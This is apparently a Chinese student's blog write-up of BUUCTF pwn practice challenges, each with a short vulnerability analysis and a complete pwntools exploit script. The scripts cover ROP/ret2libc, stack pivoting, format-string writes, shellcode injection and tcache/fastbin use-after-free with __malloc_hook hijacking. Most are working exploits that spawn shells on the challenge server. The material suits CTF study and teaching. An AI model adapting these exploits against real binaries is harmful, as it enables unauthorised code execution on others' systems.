buu

buu——pwn学习

有些题目不小心删了,hhh不过也不重要了,就算是第十题开始的吧(虽然应该是不止的)

十、铁人三项(第五赛区)_2018_rop

checksec一下,开启了nx保护,然后拖入ida

呃。。。应该就是比较熟悉的rop的构建了,直接上exp吧,这类题目做挺多的了:

十一、gyctf_2020_borrowstack

先做下这题,一直想完整的了解栈迁移,借着这题真正的掌握栈迁移的手法和知识点吧,先checksec一下,再拖入ida分析

里面很简单,没有什么复杂的函数,很适合借此了解栈迁移!首先read函数读取的字节数不够,只能够刚好覆盖返回地址。第二输入点的位置是bss段上,不是栈。所以这时候就是要把栈迁移到这里,因为在这里我们可以有足够的输入构建系统函数调用shell

这题太坑了!!!!!!!!!!!!!首先,你如果使用了system函数调用/bin/sh,这时候无论你选择哪个版本的libc都无法成功获取shell!网上的师傅们好像也是这样,原因都只是模糊的说猜测是因为栈迁移的位置太靠近一些重要数据,可能还是影响到了什么东西。都采取了one_gadget的办法,这里我同样踩坑!

师傅们都是泄露出puts的got表地址,去查询出libc版本然后下载,然而我很惊奇的发现,我泄露的地址查询不到对应的libc版本。。。所以这里的exceve函数地址我是直接把师傅们的搬运过来了0x4526a

以及,栈迁移的发送函数,只能选择send。(别问为什么,我选择的是sendline。。。一直出问题,甚至为了找问题,我每个与师傅们wp不同地方慢慢改,发现竟然是这个原因,只能怪自己粗心吧,猜测是这里的read读取过于严格,所有输入数据都是刚好,多输入了一个\n导致了问题的发生,下次一定注意!)还有就是距离重要数据太近这点,前面的ret执行多次就是为了避免这个,因为bss段距离.got.plt太近了,并且跳转回main函数的时候,还会进行一次巨大的升栈,所以的话执行多次ret把栈的位置往bss段的高地址处迁移

其他的话,wp如下:

十二、bjdctf_2020_babyrop

例行checksec一下,然后运行一下。开启了nx和部分relro缓解机制。运行的结果也不能看出些什么,进入ida看看吧

在一个函数里面有着很明显的溢出点,足够我们覆盖返回地址并且构造系统函数了。一道常规的rop,就不多说了,已经做烂了。。

exp如下:

十三、others_shellcode

例行checksec以及执行附件,开启了nx,pie以及部分relro。运行附件发现直接就获取了shell。。

然后我试着nc一下远程,看看是不是也能获取shell,没想到。。确实可以

查看ida,发现附件中是已经调用了execve函数

十四、pwn2_sctf_2016

例行checksec并且运行,只开启nx和部分的relro,拖入ida查看一下代码

程序比较简单,可以很明确的发现,不存在后门函数,也没有明显的溢出点,被限制了。printf也没有问题,对于这样的情况,我第一时间是想到了整数溢出,通过整数溢出来越过检查,通过小数变成大数,从而溢出。

接下来讲下漏洞点:main函数里面定义的v2是int类型的,而在get_n里面却是unsigned的,这里如果我们输入了一个负数,那么在get_n里面将变得非常大,足够我们溢出了。

但是没有后门函数,所以只能进行rop了,用printf函数泄露got表地址,LibcSearcher一下,最终构造sys函数获取shell。网上师傅们都取了格式化参数,其实没必要的,本身printf存在着格式化字符串漏洞,所以可以直接printf出来,没必要再输入一个格式化参数。这里有个坑的地方,好吧,是我傻得踩到了还一直没看出来。get_n里面的getchar里面已经对0截断了,所以在第二次构造payload的时候,不可以像往常那样顺手写个p32(0),后面感觉不对劲,我给他顺手改成了个p32(1)。。。。有点傻。。这个后面三个字节仍然是0,依旧截断了。写出来警示一下大伙,多注意点细节。

对了,libc找出来有15个,你可以知道我有多绝望了,一个个试了,竟然都不行,而且还是两遍!!!

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!usr/bin/env python
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",25066)
elf=ELF('./1')
context.log_level='debug'
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']

p.sendlineafter('read?','-1')
payload='a'*(0x2c+0x4)+p32(printf_plt)+p32(main)+p32(printf_got)
p.sendlineafter('data!\n',payload)
p.recvline() #接收最后的printf,让程序流执行完
printf_addr=u32(p.recv(4))
log.info("printf address:"+hex(printf_addr))

libc=LibcSearcher('printf',printf_addr)
libc_base=printf_addr-libc.dump('printf')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')

p.sendlineafter('read?','-1')
payload='a'*(0x2c+0x4)+p32(system)+'beef'+p32(binsh) #beef!!!!!
p.sendlineafter('data!\n',payload)

p.interactive()

十五、ciscn_2019_s_3

常规执行checksec一下,查看保护,并且执行一下程序,看看回显

出现了一堆乱码,可能是地址泄露了?进入ida看看情况如何

main函数里面很简单,两个系统调用就没了,而有系统调用,那就去看看汇编代码。汇编代码前两行要注意,这里的rsp没有减少,在这题里面rsp=rbp了,后面计算偏移不可以把rbp覆盖了。左边的函数栏看一下,有个gadget的,进入查看

很显然,这里面给出了两个调用号,0F和3BH,对应着这题两种解法,我们先介绍使用3BH调用号调用execve函数的解法,稍后再介绍另一种。

解法一

execve(“/bin/sh”,0,0)总共有三个参数,所以我们需要控制rdi,rsi,rdx三个寄存器的值,很显然,这是return to libc_csu_init。rsi和rdx的值很好控制,设置为0即可,而/bin/sh字符串则需要我们去寻找了,我们只有一个输入点,就是往栈上面输入/bin/sh,然后通过泄露栈的地址而得到该地址,从而把地址给rdi,最后再调用syscall函数,即可获取shell。

而write函数会输出栈上0x30个内存单元内容,通过调试,可以知道0x20位置处会泄露出一个栈上的地址,我们只需要计算该地址到/bin/sh的偏差,就可以获取/bin/sh的地址

上图是我在本地调试的情况,0x7ffcaba65838是泄露出来的地址,可是扣去0x7ffcaba656f0得到的却是0x148,而我去网上找师傅们的wp是0x138,不太懂为什么。所以我只能本地获取到了shell,但是远程不能过了。

获取到了/bin/sh的地址,后面就是构造rop链了。

这边csu里面的edi是有问题的,因为/bin/sh的地址是不止4个字节,所以edi是不够盛放的,所以我们需要rdi才行,这边使用了ROPgadget去寻找。所以后面payload构造rop时,这边还需要利用r12盛放栈上的内容进行跳转到栈上继续执行,而不能直接就在r12里面存放syscall地址进行直接调用。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!usr/bin/env python
#coding=utf-8
from pwn import *
#p=remote('node3.buuoj.cn',25007)
p=process('./1')
context.log_level='debug'
elf=ELF('./1')
main=elf.sym['main']
syscall=0x400517
execve=0x4004e2
pop_rbx_rbp_r12_r13_r14_r15_ret=0x40059a
rdx_edi_rsi=0x400580
offset=0x138
pop_rdi=0x4005a3

payload="/bin/sh\x00"*2+p64(main)
p.send(payload)
p.recv(0x20)
leak=u64(p.recv(8))
binsh=leak-offset
print hex(leak)
print hex(binsh)
gdb.attach(p,'b *main')

payload="/bin/sh\x00"*2
payload+=p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
payload+=p64(0)+p64(0)+p64(binsh+0x50)+p64(0)+p64(0)+p64(0)
payload+=p64(rdx_edi_rsi)+p64(execve) #p64(execve)在栈上距离/bin/sh有0x50的长度
payload+=p64(pop_rdi)+p64(binsh)+p64(syscall)
p.send(payload)

p.interactive()

解法二

后面有缘再更新吧,,,,

十六、ciscn_2019_es_2

常规checksec查看保护措施

程序只开启了NX,应该是道较为简单的题目,进入ida看看情况

这里总共输入了两次数据,同时还能printf出来,可能会泄露一些重要地址信息。这里的read函数全部被限制到只够刚好覆盖到返回地址就不能再继续填充了,所以这里是用了栈迁移的思想,把栈迁移到栈上,制造一个假栈。

栈迁移利用leave 和ret指令改变ebp和esp的指向位置,所以要先得到要迁移的地址,也就是s位置,这边泄露ebp的值,从而计算两者偏差

最顶上0xfffcd65就是s的位置,而0xffcd678就是ebp指向的位置,而在该地址处的内容为0xfffcd688就是我们泄露出来的内容,与s偏差为0x38

而系统函数附件中已经有了system的调用,差的就只有/bin/sh的字符串了,我们可以直接写在栈上,然后仍然是用泄露出来的地址算出/bin/sh地址,作为参数即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!usr/bin/env python
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',27262)
#p=process('./1')
system=0x8048400
leave_ret=0x80484b8
context(os='linux',arch='i386',log_level='debug')
payload='a'*0x20+'bbbbbbbb'
p.recvline()
p.send(payload)
p.recvuntil('bbbbbbbb')
ebp=u32(p.recv(4))
print hex(ebp)
s_buf=ebp-0x38

p.recvline()
payload='bbbb'+p32(system)+'dead'+p32(ebp-0x28)+'/bin/sh\x00'+'a'*0x10+p32(s_buf)+p32(leave_ret)
p.send(payload)

p.interactive()

十七、ciscn_2019_n_3

照例checksec一下

开启了nx和canary,relro只开启部分,可以修改got表(后面没用到就是了)

进入ida看看反汇编代码

总共有着四个功能,第一个new note:

在第一个功能里面,可以创建一个堆,堆里面第一个存放的是printf函数指针,第二存放了一个free函数指针,第三个存放有区别,当type==1,存放的是一个数据,type ==2,存放的是字符串的地址。然后这个字符串的真正位置存放在又生成的一个堆里面。

free函数里面并未将指针置空,存在uaf漏洞。

另外三个功能,一个是调用printf函数指针,打印出一串字符串,一个是调用free函数指针,还有一个就是打印没什么意义的字符串

在函数表里面,我们可以看见,system函数被调用过了,也就是接下来就是/bin/sh以及调用的问题,这里我们选择在函数指针做手脚,因为函数指针未置空,我们只需要把free函数指针改为指向system的地址,然后再对释放的内容修改为/bin/sh的地址,就能让调用free(ptr)变成system(“/bin/sh”),这边由于输入长度问题,写的是/sh字符串。

那该怎么修改呢?利用fastbin attack,首先创建两个chunk(type==2的,chunk0和chunk1)创建的chunk都是固定大小为0xc的chunk,后面我们能控制大小的chunk随便写一个大小即可(不能为0xc!其他都行)。然后释放掉这两个chunk,再申请一个chunk3,我们能控制大小的chunk也要设置大小也为0xc,由于LIFO,那么程序创建的chunk将会被分配到第二个被释放的chunk1的位置,我们能控制大小的chunk就会被分配到第一个释放的chunk0的位置,而我们又能对这个chunk进行输入,所以把”sh\x00\x00”+p32(system)输入即可,最后再释放掉调用函数

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!usr/bin/env python
#coding=utf-8
from pwn import *
#p=remote("node3.buuoj.cn",27753)
p=process('./1')
context.log_level='debug'
elf=ELF('./1')
system=elf.sym['system']


def new(idx,num,size,value):
p.sendlineafter("CNote >",'1')
p.sendlineafter("Index >",str(idx))
p.sendlineafter("Type >",str(num))
if num==1 :
p.sendlineafter("Value >",value)
else :
p.sendlineafter("Length >",str(size))
p.sendlineafter("Value >",value)

def delete(idx):
p.sendlineafter("CNote >",'2')
p.sendlineafter("Index >",str(idx))
def show(idx):
p.sendlineafter("CNote >",'3')
p.sendlineafter("Index >",str(idx))
def purchase():
p.sendlineafter("CNote >",'4')

new(0,2,0x14,'a')
new(1,2,0x14,'b')
delete(0)
delete(1)
new(2,2,0xc,"sh\x00\x00"+p32(system))
gdb.attach(p,'b*main')
delete(0) #uaf
p.interactive()

十八、ciscn_2019_final_3

常规checksec一下

保护全开了,拖进ida看看反汇编代码吧

c++代码写的,不过功能很简单,就两个选择,先看第一个吧

最多可以创建二十四个不同的索引,堆的大小最大不能超过0x78,被限制只有fast chunk大小,然后我们在创建之后还能往堆上输入数据,最后,printf了堆的地址出来。

第二个功能更简单

释放掉索引对应的堆块,并且可以发现,并未将堆指针置空,存在uaf漏洞。在找找其他地方,发现没有存在后门函数。那只能走泄露libc了,然后劫持hook函数。

要泄露libc,就要有被释放的unsorted bin,这里限制了chunk的大小,那我们就要去修改chunk size,将其修改为比0x410大的数,因为题目环境为libc-2.27.so,存在tcache。

先创建许多堆块(后面再解释为什么创建这么多个),然后释放同一个堆块,因为存在tcache,所以可以直接释放两次

出现了循环指向,这时候我们在申请同样大小的堆块,这里是要申请三次,第三次chunk生成的地方(选择生成在chunk0的size处,修改他的值),才是我们要的。首先是指向自身,当我们第一次申请时,通过输入把fd修改为指向chunk0

这是第一次申请,可以看到,chunk0地址出现了

这是第二次申请,只剩下chunk0,那第三次申请就能让chunk出现在chunk0位置,然后修改其size的大小,这边我是修改为0x420

然后把这个堆块释放掉,就会出现libc了,这边解释为什么要申请很多的堆块,因为你要修改为0x420,如果申请的堆块没有大于0x420,那这个堆块会一直处于free的状态的,他要有那么大的size,才能成为0x420的chunk,所以我们申请的堆块会先被并入这个大chunk里面。

释放完后出现了libc中的地址,接下来就泄露了。因为题目里面只能泄露出堆块的地址,所以我们要想办法让在这个地址申请chunk。这边因为这个0x420的chunk是由许多chunk合并的,我们把chunk1释放了,再申请一个大小和chunk0一样的堆块,就可以让chunk1能够重叠在fd的位置

可以看到,0x20大小的tcache_entry出现了类似前面的重复释放的样式,所以也是申请堆块,然后在libc地址生成chunk,再将其泄露。之后就是劫持hook了,以上的就是这题的点了,后面不多说了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!usr/bin/env python 
#coding=utf-8
from pwn import *
p=remote("node3.buuoj.cn",25609)
context.log_level='debug'
elf=ELF('./1')
libc=ELF("./libc.so.6")
#p=process('./1')
__malloc_hook=libc.sym['__malloc_hook']
def add(idx,size,write):
p.sendlineafter("choice >",'1')
p.sendlineafter("index",str(idx))
p.sendlineafter("size",str(size))
p.sendafter("something",write)
p.recvuntil("gift :")
return int(p.recv(14),16)
def remove(idx):
p.sendlineafter("choice >",'2')
p.sendlineafter("index",str(idx))

ptr0=add(0,0x70,'a')#0
print hex(ptr0)
add(1,0x10,'x')#1
add(2,0x70,'x')#2
add(3,0x70,'x')#3
add(4,0x70,'x')#4
add(5,0x70,'x')#5
add(6,0x70,'x')#6
add(7,0x70,'x')#7
add(8,0x70,'x')#8
add(9,0x70,'x')#9
add(10,0x70,'x')#10
add(11,0x70,'x')#11
add(12,0x20,'x')#12

remove(12)
remove(12)
add(13,0x20,p64(ptr0-0x10))
add(14,0x20,p64(ptr0-0x10))
add(15,0x20,p64(0)+p64(0x421))
remove(0)
remove(1)
add(16,0x70,'x')
add(17,0x10,'x')
libc_base=add(18,0x10,'x')-0x3ebca0
__malloc_hook=libc_base+__malloc_hook
one_gadget=libc_base+0x10a38c
log.info("libc_base:"+hex(libc_base))
log.info("__malloc_hook: "+hex(__malloc_hook))
log.info("one_gadget: "+hex(one_gadget))

remove(3)
remove(3)
add(19,0x70,p64(__malloc_hook))
add(20,0x70,p64(__malloc_hook))
add(21,0x70,p64(one_gadget))

#gdb.attach(p,'b*main')
p.sendlineafter("choice >",'1')
p.sendlineafter("index",'22')
p.sendlineafter("size",'0x30')

p.interactive()

十九、ciscn_2019_s_4

这题好像之前有过?所以这里就不再多说了,栈迁移的题目,直接贴exp了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!usr/bin/env python
#coding=utf-8
from pwn import *
p=remote("node3.buuoj.cn",29292)
#p=process('./1')
context.log_level='debug'
system=0x8048400
leave_ret=0x80484b8

payload='a'*0x24+'beef'
p.sendafter("name?",payload)
p.recvuntil("beef")
ebp=u32(p.recv(4))
print hex(ebp)
s_buf=ebp-0x38
payload=('bbbb'+p32(system)+p32(1)+p32(s_buf+0x10)+"/bin/sh\x00").ljust(0x28,'a')+p32(s_buf)+p32(leave_ret)
p.send(payload)
p.interactive()

二十、jarvisoj_fm

一道很平常的格式化字符串的题目,就直接给exp了

exp:

1
2
3
4
5
6
7
8
9
10
#!usr/bin/env python
#coding=utf-8
from pwn import *
p=remote("node3.buuoj.cn",25092)
context.log_level='debug'
x=0x0804A02C

payload=p32(x)+'%11$n'
p.sendline(payload)
p.interactive()

二十一、[HarekazeCTF2019]baby_rop2

一道常规rop题目,除了这题printf会出现下图的匹配不到libc之外,其他没什么,而对于这个,只要换个函数,我这边用read,就可以了。噢,还有!目录里面没有flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",26933)
#p=process('./1')
context.log_level='debug'
elf=ELF('./1')
main=elf.sym['main']
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
read_plt=elf.plt['read']
read_got=elf.got['read']
pop_rdi=0x400733
ret=0x4004d1

payload='a'*0x28+p64(pop_rdi)+p64(read_got)+p64(printf_plt)+p64(main)
p.sendlineafter('name? ',payload)
p.recvline()
read=u64(p.recv(6).ljust(8,'\0'))
print hex(read)
libc=LibcSearcher('read',read)
libc_base=read-libc.dump('read')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')

payload='a'*0x28+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.recvline()
p.interactive()

二十二、ez_pz_hackover_2016

常规checksec一下,查看保护机制

nx都没开,应该是注入shellcode来getshell了,进入ida看看代码

确实,没给后门函数,nx没开,应该就是注入shellcode了,我们看看代码,首先题目先把s的在栈上的地址泄露出来了,后面则需要绕过crashme,这个简单,先输入这个,加上\x00让strcmp检验通过,之后,在vuln里面的memcpy存在着溢出,里面的栈比较小,而外面的栈较大,可以写入shellcode,接下就计算shellcode的地址,以及溢出点的偏移距离,这边有坑的就是IDA里面的偏移是错的,我们需要进入gdb动调试进行找寻地址以及偏移距离

我们泄露的地址距离字符串起始地址0xffc445f0相减之后,相差0x1c

垃圾字符串偏移是18,但是我们还输入了crashme\x00,所以总的偏移是26个。之后就是return to shellcode了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!usr/bin/env python
#coding=utf-8
from pwn import *
#p=remote("node3.buuoj.cn",29815)
p=process('./1')
context.log_level='debug'
context.os='linux'
context.arch='i386'
gdb.attach(p)
p.recvuntil("0x")
s_buf=int(p.recv(8),16)
print hex(s_buf)
shellcode=asm(shellcraft.sh())
payload="crashme\x00".ljust(26,'a')+p32(s_buf-0x1c)+shellcode
p.sendlineafter("> ",payload)
p.interactive()

二十三、[Black Watch 入群题]PWN

常规checksec一下

只开启了nx保护,进入ida看看代码

给了两次输入,第一次在.bss段上,第二次是栈,栈上的只够覆盖到返回地址,但是.bss却可以输入大量数据,所以要劫持栈到.bss进行rop,所以要让ebp的值为s的地址,返回地址为leave,把栈劫持到.bss上,其他剩下就是常规的rop

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!usr/bin/env python
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",26260)
#p=process('./1')
context.log_level='debug'
leave_ret=0x8048408
s_buf=0x0804A300
elf=ELF('./1')
main=elf.sym['main']
write_got=elf.got['write']
write_plt=elf.plt['write']

payload='xxxx'+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.sendafter("name?",payload)
payload='a'*0x18+p32(s_buf)+p32(leave_ret)
p.sendafter("say?",payload)
write=u32(p.recv(4))

print hex(write)
libc=LibcSearcher("write",write)
libc_base=write-libc.dump('write')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')

payload='xxxx'+p32(system)+p32(main)+p32(binsh)
p.recv()
p.send(payload)
payload='a'*0x18+p32(s_buf)+p32(leave_ret)
p.recv()
p.send(payload)

p.interactive()

二十四、jarvisoj_tell_me_something

这题,进入ida里面

有个这个函数,可以看见,已经读取了flag,并且还会将其输出,并且main函数有溢出点,跳转到这,再接收flag即可

exp:

1
2
3
4
5
6
7
8
9
#!usr/bin/env python
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',28478)
context.log_level='debug'
payload='a'*0x88+p64(0x400620)
p.sendlineafter("message:",payload)
p.recvline()
p.recvall()

二十五、gwctf_2019_easy_pwn

照例checksec

只开启了nx,进入ida发现是c++写的,看不懂。。。

直接输入是不够溢出的,然后往下看,发现还有个strcpy,可能可以溢出,但是v4不知道咋来的,然后就跑去百度了(真没志气,hh),发现其实能看懂应该很简单,不过可能就是为了让人看不懂吧,嗯,应该要学c++了!(下次一定)

这边是I可以被替换为pretty,所以填入I,被转换溢出,而跳转进行rop

明白这个,其他也就没什么了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!usr/bin/env python
#coding=utf-8
from pwn import *
p=remote("node3.buuoj.cn",26014)
context.log_level='debug'
elf=ELF('./1')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=0x8049091

payload='I'*16+p32(puts_plt)+p32(main)+p32(puts_got)
p.send(payload)
p.recvuntil('pretty'*16)
p.recv(12)
puts=u32(p.recv(4))
print(hex(puts))
one_gadget=puts-0x05f140+0x5f066
#system=puts-0x24800
#binsh=puts+0xf9eeb
#payload='I'*16+p32(system)+'dead'+p32(binsh)
payload='I'*16+p32(one_gadget)
p.send(payload)

p.interactive()

二十六、wustctf2020_getshell

一道简单题,直接exp:

1
2
3
4
5
6
7
8
#!usr/bin/env python
#coding=utf-8
from pwn import *
p=remote("node3.buuoj.cn",28677)
context.log_level='debug'
payload='a'*0x1c+p32(0x0804851B)
p.send(payload)
p.interactive()

二十七、mrctf2020_easyoverflow

虽然checksec完,保护全开了,但是程序很简单,真的只是溢出覆盖即可,就不多说了

exp:

1
2
3
4
5
6
7
8
#!usr/bin/env python
#coding=utf-8
from pwn import *
p=remote("node3.buuoj.cn",28551)
context.log_level='debug'
payload='a'*0x30+'n0t_r3@11y_f1@g'
p.sendline(payload)
p.interactive()

二十八、cmcc_pwnme1

这题,本来是平常的ret2libc的,但是,靠,给坑了

是的,这里给了个“后门函数”!,假的,害我一直想为什么不能获取,以为是不是接收出了问题。原因却是home里面是不存在flag的,怎么可能获取flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",27186)
context.log_level='debug'
elf=ELF('./1')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
addr=0x08048624
p.sendlineafter("6. Exit",'5')
payload='a'*0xA8+p32(puts_plt)+p32(addr)+p32(puts_got)
p.sendlineafter('Please input the name of fruit:',payload)
p.recvline()
puts=u32(p.recv(4))
log.success("puts_addr ---->>" + hex(puts))

libc=LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
payload ='a'*0xa8+p32(system)+'xxxx'+p32(binsh)
p.sendlineafter('Please input the name of fruit:',payload)
p.recvline()
p.interactive()

二十九、jarvisoj_level1

常规checksec一下

发现什么都没开,第一想法就是注入shellcode,结果。。

结果ida里面竟然确实是给了buf的地址,再加上

嗯,好家伙,直接shellcode了,然后。。。远程不通,本地通了,没想明白,跑去百度了,结果发现,远程连接,竟然是先输入,再输出栈上的buf地址,靠!然后方法就变成了ret2libc了

这波竟然是给的附件不准确,见识到了!就跟ida里面栈偏移可能会错一样,以后多多注意自己动手进行调试和连接

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!usr/bin/env python
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",26819)
#p=process('./level1')
elf=ELF('./level1')
#gdb.attach(p)
'''context.log_level='debug'
context.os='linux'
context.arch='i386'
p.recvuntil("this:0x")
buf_addr=int(p.recv(8),16)
print hex(buf_addr)
shellcode=asm(shellcraft.sh())
payload=(shellcode).ljust(0x8c,'a')+p32(buf_addr)
p.sendline(payload)
'''

write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']

payload='A'*0x8c+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write=u32(p.recv(4))
log.info('write addr: '+hex(write))

libc=LibcSearcher('write',write)
libc_base=write-libc.dump("write")
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
payload='A'*0x8c+p32(system)+'xxxx'+p32(binsh)
p.sendline(payload)
p.interactive()

三十、bjdctf_2020_babystack2

常规checksec

保护没开几个,进入ida静态分析一波,

代码很简单,输入一个数字,不能超过10,然后这个数值作为后续输入的大小,并且能看左边有给后门函数,那么就是溢出劫持rip即可,认真观察,输入的nbytes前面是int,后面却是unsigned了,所以存在整型溢出,输入一个负数,即可变为很大的整数

exp:

1
2
3
4
5
6
7
8
9
10
11
#!usr/bin/env python
#coding=utf-8
from pwn import *
context.log_level='debug'
p=remote("node3.buuoj.cn",26091)
get_shell=0x0400726
p.recvuntil("name:")
p.sendline('-1')
payload='a'*0x18+p64(get_shell)
p.sendlineafter("name?",payload)
p.interactive()

三十一、jarvisoj_level3_x64

程序很简单,应该是道rop,有溢出点,有write泄露函数,这题考点应该是在于是64位程序,使用寄存器传参,而write的参数需要三个寄存器才行,我第一个想到的是ret2csu,刚好有三个前三个寄存器,没想到,没利用成功,不知道为什么。有师傅知道的话,恳请指点一番!感激不尽!

然后就是百度了一下,发现这题有趣,使用ROPgadget可以找到rdi和rsi两个寄存器,而第三个rdx寄存不需要去控制,里面的值已经存有200,可以直接使用了,所以就是正常构造rop即可

所以这题得到的就是,要多观察我们需要构造的寄存器里面的值是否已经可以使用,需不需要额外构造

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",25077)
#p=process('./1')
context.log_level='debug'
elf=ELF('./1')
main=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']
pppppp_ret=0x4006aa #pop_rbx_rbp_r12_r13_r14_r15_ret
mov_rdx_rsi_edi=0x400690
ret=0x400499
pop_rdi=0x4006b3
pp_ret=0x4006b1 #pop_rsi_r15_ret

'''
payload='a'*0x88+p64(pppppp_ret)
payload+=p64(0)*2+p64(ret)+p64(8)+p64(read_got)+p64(1)
payload+=p64(mov_rdx_rsi_edi)+p64(write_plt)+p64(main)
p.sendlineafter('Input:',payload)
p.recv()
write=u64(p.recv(6).ljust(8,'\0'))
log.info("wirte addr:"+hex(write))
'''
payload = "a" * 0x88
payload += p64(pop_rdi) + p64(1)
payload += p64(pp_ret) + p64(read_got) + p64(0)
payload += p64(write_plt)
payload += p64(main)
p.sendlineafter("Input:\n", payload)
read = u64(p.recv(6).ljust(8, '\0'))
log.info("read addr:"+hex(read))
libc = LibcSearcher("read",read)
libc_base = read - libc.dump("read")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")

payload='a'*0x88+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input:',payload)
p.interactive()

三十二、jarvisoj_level4

32位的rop,就没有上面那么麻烦了,直接在栈上写就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",27477)
#p=process('./1')
context.log_level='debug'
elf=ELF('./1')
main=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
read_plt=elf.plt['read']
read_got=elf.got['read']


payload='a'*0x8c+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write=u32(p.recv(4))
log.info("write addr:"+hex(write))
libc=LibcSearcher('write',write)
libc_base=write-libc.dump('write')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')

payload='a'*0x8c+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()

三十三、picoctf_2018_rop chain

常规32位rop即可getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!usr/bin/env python
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",27038)
context.log_level='debug'
elf=ELF('./1')
main=elf.sym['main']
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']


payload='a'*28+p32(printf_plt)+p32(main)+p32(printf_got)
p.sendlineafter("input> ",payload)
printf=u32(p.recv(4))
log.info("printf addr:"+hex(printf))
libc=LibcSearcher('printf',printf)
libc_base=printf-libc.dump('printf')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')

payload='a'*28+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()

续:突然想去百度一下,看看那个给的后门函数是不是有用(因为我是没去用的,直接就是ret2libc了),结果发现,师傅们的解法是去利用已经给的函数,去让flag被打印出来,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python 
#coding=utf-8
from pwn import *
from LibcSearcher import *

context(os = "linux", arch = "i386", log_level= "debug")
p = remote("node3.buuoj.cn", 27036)

win_function1 = 0x080485CB
win_function2 = 0x080485D8
flag = 0x0804862B

payload = "a" * 0x1c
payload += p32(win_function1)
payload += p32(win_function2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
p.sendlineafter("input> ", payload)

p.interactive()

三十四、picoctf_2018_buffer overflow 1

exp:

1
2
3
4
5
6
7
8
9
10
#!usr/bin/env python 
#coding=utf-8
from pwn import *
p=remote("node3.buuoj.cn",25801)
context.log_level='debug'

payload='a'*0x2c+p32(0x80485cb)
p.sendlineafter("string: ",payload)
p.recvall()
p.interactive()

三十五、jarvisoj_test_your_memory

checksec一下,然后进入ida

